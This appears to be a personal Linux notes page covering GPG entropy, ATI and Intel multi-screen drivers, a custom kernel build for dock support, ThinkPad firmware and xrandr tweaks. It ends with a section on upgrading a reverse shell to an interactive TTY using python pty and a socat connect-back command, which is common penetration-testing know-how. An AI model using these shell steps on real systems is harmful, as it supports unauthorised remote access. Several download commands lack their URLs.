GPG Not enough random bytes available

    gpg: Generating a default key
    Not enough random bytes available.  Please do some other work to give
    the OS a chance to collect more entropy! (Need 300 more bytes)

    To resolve that :

    find / >/dev/null

    Note: doesnt work very well with SSD, alternatively use infinite loop on this command

    To see entropy :

    watch cat /proc/sys/kernel/random/entropy_avail

    ATI Driver

    You'll need to install package 'fglrx-driver'((available in default jessie repositories)) to support 3 screens on pc-lbl.

    For this, it's necessary to add non-free and contrib package in /etc/apt/sources.list

    ATI Driver underscal

    When you've triple screen, and you using display port, the screen is not full used.

    See :

    Resolve with this command:

    sudo aticonfig --set-pcs-val=MCIL,DigitalHDTVDefaultUnderscan,0

    Note: If solution doesnt work, try manually this((solution taken from



    No sound on my computer

    Try alsamixer command and select sound card, and change volume on differents parameters.

    See below for x1 carbon.

    Ultra Dock with 3 screens


    Linux kernel ​

    The first step was to get airlied's kernel patches. They are available in a git repository on on top of the mainline 3.14 kernel sources. They are integrated in the mainline kernel since version 3.17 . Check you have less than 3.17 before do that (uname -a)

    Just download it from, configure the kernel with the same options the default Ubuntu kernel uses, compile and install it. It's really not hard. The Ubuntu wiki git kernel build howto helps a lot. We even get .deb packages for the kernel. ​

    $ sudo bash
    $ apt-get install build-essential kernel-package fakeroot libncurses5-dev
    $ cd /usr/local/src
    $ wget
    $ tar xJvf linux-3.17.1.tar.xz
    $ cd linux-3.17.1
    $ cp /boot/config-`uname -r` .config
    $ yes '' | make oldconfig
    $ make clean
    $ make -j `getconf _NPROCESSORS_ONLN` deb-pkg LOCALVERSION=-dp-mst
    $ cd ..
    $ dpkg -i linux-image-*.deb
    $ dpkg -i linux-headers-*.deb

    That was the first part. ​ Intel graphics drivers (With debian Jessie 8.0, i did not need this step.) ​

    The necessary patches for the intel driver xf86-video-intel are already in git master, which means we do not have to apply patches ourselves. Re-compiling the graphics driver is also very easy because the driver is only a loadable module for and does not require recompilation of other packages. ​

    $ sudo bash
    $ cd /usr/local/src/
    $ git clone --depth=1 git://
    $ cd xf86-video-intel
    $ ./autogen
    $ ./configure
    $ make && make install
    $ reboot

    Can see laso:

    X1 carbon gen 7


    Add backports since wifi are not open source...

    deb buster-backports main contrib non-free
    deb-src buster-backports main contrib non-free

    Then install

    apt -t buster-backports install firmware-iwlwifi firmware-misc-nonfree




    options snd_intel_dspcfg dsp_driver=1

    then reboot.


    Thinkpad Dock gen 2 and dual screen

    Due to the limitations of internal gpu of the laptop, it is possible that only one screen is running.

    I have tried to reduce the framerate according to stackoverflow discussions, but no success:

    lparmentier@po-lbl:~$ cvt 1920 1080 30
    # 1920x1080 29.95 Hz (CVT) hsync: 33.01 kHz; pclk: 79.75 MHz
    Modeline "1920x1080_30.00"   79.75  1920 1976 2168 2416  1080 1083 1088 1102 -hsync +vsync
    lparmentier@po-lbl:~$ xrandr --newmode "1920x1080_test" 79.75  1920 1976 2168 2416  1080 1083 1088 1102 -hsync +vsync
    lparmentier@po-lbl:~$ xrandr --addmode DP-1-2 1920x1080_test
    lparmentier@po-lbl:~$ xrandr --output DP-1-2 --right-of DP-1-1 --mode 1920x1080_test



    Reverse shell - interactive

    Method 1 (no CTRL+C):

    python -c 'import pty; pty.spawn("/bin/bash")'

    Method 2:

    socat file:`tty`,raw,echo=0 tcp-listen:4444
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

    Method 3:

    # In reverse shell
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    # In Kali
    $ stty raw -echo
    $ fg
    # In reverse shell
    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows <num> columns <cols>